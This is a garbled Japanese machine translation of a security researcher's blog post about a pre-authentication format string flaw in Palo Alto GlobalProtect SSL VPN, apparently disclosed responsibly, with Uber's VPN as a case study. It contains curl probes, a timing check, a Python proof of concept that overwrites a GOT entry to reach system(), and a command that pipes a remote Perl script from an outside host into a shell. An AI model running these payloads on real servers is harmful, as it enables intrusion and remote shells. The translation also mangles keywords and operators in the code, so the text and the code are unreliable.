0x00はじめに
SSL VPNはインターネット攻撃のリスクからエンタープライズ資産を保護できますが、SSL VPN自体が攻撃に対して脆弱である場合はどうなりますか?それらはインターネットにさらされており、イントラネットに確実に安全に接続できます。 SSL VPNサーバーが侵害されると、攻撃者はイントラネットに侵入し、SSL-VPNサーバーに接続されたすべてのユーザーを引き継ぐことさえできます!その重要性のため、過去数か月にわたって、安全な主要なSSL VPN製品に関するセキュリティ調査を開始しました。
結果を3つの記事に公開する予定です。私たちはこの記事を最初の記事とみなします。なぜなら、それは興味深い話だと思うので、Black Hat USANDDEFCONに最適だと思うからです。
NSAのような侵入エンタープライズイントラネット - 安全な主要なSSL VPNでRCEを実行する
ネタバレについて心配しないでください。この物語はBhusa/defconセッションに含まれていません。
今後のデモでは、より多くのコアエクスプロイトとクレイジーなバグチェーンを提供して、SSL VPNをハックします。デバイスと焦点を当てる攻撃ベクトルの脱却方法から。また、露出した唯一のHTTPSポートからルートシェルを取得し、サーバーを所有者に対して密かに武器化し、すべてのVPNクライアントを引き継ぐために隠された機能を悪用します。それを楽しみにしています;)
0x01ストーリーの始まり
この記事では、Palo Alto SSL VPNの脆弱性について説明します。 Palo Altoは、SSL VPN Product GlobalProtectを呼び出します。 302 Redirect to /global-protect/login.esp Web Root Directoryを使用して、GlobalPortectサービスを簡単に識別できます。
この脆弱性に関して、私たちはRedチーム評価サービス中に誤って発見しました。最初は、0日だと思いました。ただし、GlobalProtectの最新バージョンのリモートサーバーでは、繁殖が失敗しました。それで、私たちはこれが既知の脆弱性であるかどうか疑問に思い始めました。
インターネットで検索しましたが、それに関する情報は見つかりませんでした。 [1]以前は、公的なRCEの悪用はなく、公式の協議に同様の情報も含まれておらず、CVEも含まれていませんでした。
CVE-2017-15944および@U Fel1xによる優れたTroppers16論文など、以前のPAN-OS管理インターフェイスにはいくつかの脆弱性がありましたが、残念ながら、GlobalProtectとManagement InterfaceはLANポートのみを公開したことに言及していませんでした。
0x02バグ
このバグは非常に簡単です。これは、認証なしの単純な形式の文字列の脆弱性です! SSLMGRは、サーバーとクライアントの間のSSLハンドシェイクを処理するSSLゲートウェイです。デーモンはnginx逆プロキシによってプロキシ化されており、Path /sslmgrを介してアクセスできます。
$ curl https://global-protect/sslmgr
?xmlバージョン='1.0'エンコード='utf-8'?
ClientCert-Response
StatusError/ステータス
msginvalidパラメーター/msg
/clientCert-Response
パラメーター抽出中、デーモンは文字列scep-profile-nameを検索し、バッファーを埋めるためにSnprintf形式としてその値を渡します。これにより、フォーマット文字列が攻撃されます。 %nを使用できます!サービスをクラッシュさせる!
POST /SSLMGR HTTP /1.1
HOST: Global-Protect
Content-Length: 36
scep-profile-name=%n%n%n%n%n%n%n .
0x03影響バージョン
私たちの調査によると、2018年7月までにGlobalProtectは非常に脆弱です!以下は、インパクトバージョン:のリストです
Palo Alto GlobalProtect SSL VPN 7.1.x 7.1.19
Palo Alto GlobalProtect SSL VPN 8.0.x 8.0.12
Palo Alto GlobalProtect SSL VPN 8.1.x 8.1.3
9.xおよび7.0.xシリーズは、この脆弱性の影響を受けません。
0x04バグを確認する方法
バグがどこにあるかはわかっていますが、脆弱性を検証するのはまだ容易ではありません。このフォーマット文字列には出力がないため、バグを検証するために漏れたアドレスを取得することはできません。クラッシュサービスは決して私たちの最初の選択ではありません[1]。サービスのクラッシュを避けるために、システムの通常の動作に影響を与えることなく脆弱性を検証する方法を見つける必要があります!
SNPRINTFマニュアルを読むことで、ガジェットとして%Cを選択しました! %99999999Cなどのフォーマット前に数がある場合、SNPRINTFは対応する時間を内部で繰り返し要求します。この脆弱性を確認するために、多数の繰り返しの応答時間を観察します!
$ time curl -s -d 'scep-profile-name=%9999999c' https://global-protect/sslmgr/dev/null
REAL 0M1.721S
ユーザー0M0.037S
SYS 0M0.005S
$ time curl -s -d 'scep-profile-name=%99999999c' https://Global-protect/sslmgr/dev/null
REAL 0M2.051S
ユーザー0M0.035S
SYS 0M0.012S
$ time curl -s -d 'scep-profile-name=%9999999999c' https://global-protect/sslmgr/dev/null
REAL 0M5.324S
ユーザー0M0.021S
SYS 0M0.018S
ご覧のとおり、%cの数とともに応答時間が増加します。したがって、時差から、脆弱なSSL-VPNを正確に識別できます!
SSLMGRデーモンを監視する監視プログラムがありますが、クラッシュサービスにはまだ適していません!
0x05利用
バグを確認することができたら、簡単に活用できます。バイナリファイルを正常に利用するには、最初に詳細なバージョンを決定する必要があります。バージョン8.xおよび/images/logo_pan_158.gif forバージョン7.xおよび/images/logo_pan_158.gifのバージョン8.xおよび/images/logo_pan_158.gifなど、/global protect/css/login.cssなど、ラスト修飾ヘッダーで区別できます。
$ CURL -S -I https://SSLVPN/GLOBAL -PROTECT/PORTAL/CSS/LOGIN.CSS |グレップラスト修飾
LAST-MODIFIED: SUN、2017年9月10日16:48:23 GMT
指定されたバージョンを使用して、独自の脆弱性を書くことができます。 Strlenのポインターを、システムのプログラムリンクテーブル(PLT)にグローバルオフセットテーブル(GOT)に変更するだけです。これがそのPOCです:
#!/usr/bin/python
リクエストをインポートします
PWNインポートから *
url='https://sslvpn/sslmgr'
cmd='echo pwned /var/appweb/sslvpndocs/hacked.txt'
strlen_got=0x667788#私を変更します
System_plt=0x445566#私を変更します
fmt='%70 $ n'
fmt +='%' + str((system_plt16)0xff) + 'c'
fmt +='%32 $ hn'
fmt +='%' + str((system_plt0xffff) - ((system_plt16)0xff) + 'c'
fmt +='%24 $ hn'
範囲のI(40,60):
fmt+='%'+str(i)+'$ p'
data='scep-profile-name='
データ +=P32(strlen_got)[:-1]
data +='appauthcookie='
データ +=P32(strlen_got +2)[:-1]
data +='host-id='
データ +=P32(strlen_got +4)[:-1]
data +='user-email='
データ +=fmt
data +='appauthcookie='
データ +=cmd
r=requests.post(url、data=data)
変更が完了すると、SSLMGRがWebShellになります。次の方法でコマンドを実行できます。
$ curl -d 'scep-profile-name=curl orange.tw/bc.pl | Perl- 'https://Global -protect/sslmgr
このバグをパロアルトヴィアに報告しました。ただし、次の回答が得られました。
こんにちはオレンジ、
提出してくれてありがとう。 Palo Alto Networksは、外部の研究者によって私たちに報告されているセキュリティの脆弱性の調整された脆弱性の開示に従います。内部的および修正されたアイテムはありません。この問題は以前に修正されていましたが、現在のバージョンで何かを見つけた場合は、お知らせください。
0x06ケーススタディ
これが0日ではないことに気付いた後、世界中のすべてのパロアルトSSL VPNを見て、脆弱なグローバルプロテクトを使用している大企業があるかどうかを確認しました。調査によると、Uberは世界中でGlobalProtectを実行している約22のサーバーを持っています。ここでは、vpn.awscorp.uberinternal.comを例として取ります!
ドメイン名から判断すると、UberはAWS MarketplaceのBYOLを使用していると思います。ログインページから判断すると、Uberは8.xバージョンを使用しているようで、概要ページでサポートされているバージョンのリストから可能なターゲットバージョンを見つけることができます。
8.0.3
8.0.6
8.0.8
8.0.9
8.1.0
最後に、バージョンを見つけました。それは8.0.6で、シェルを手に入れました!
:https://devco.re/blog/2019/07/17/attacking-ssl-vpn-part-1-part-1-on-on-palo-alto-alto-globalprotect-with-uber-as-case-study/
Recommended Comments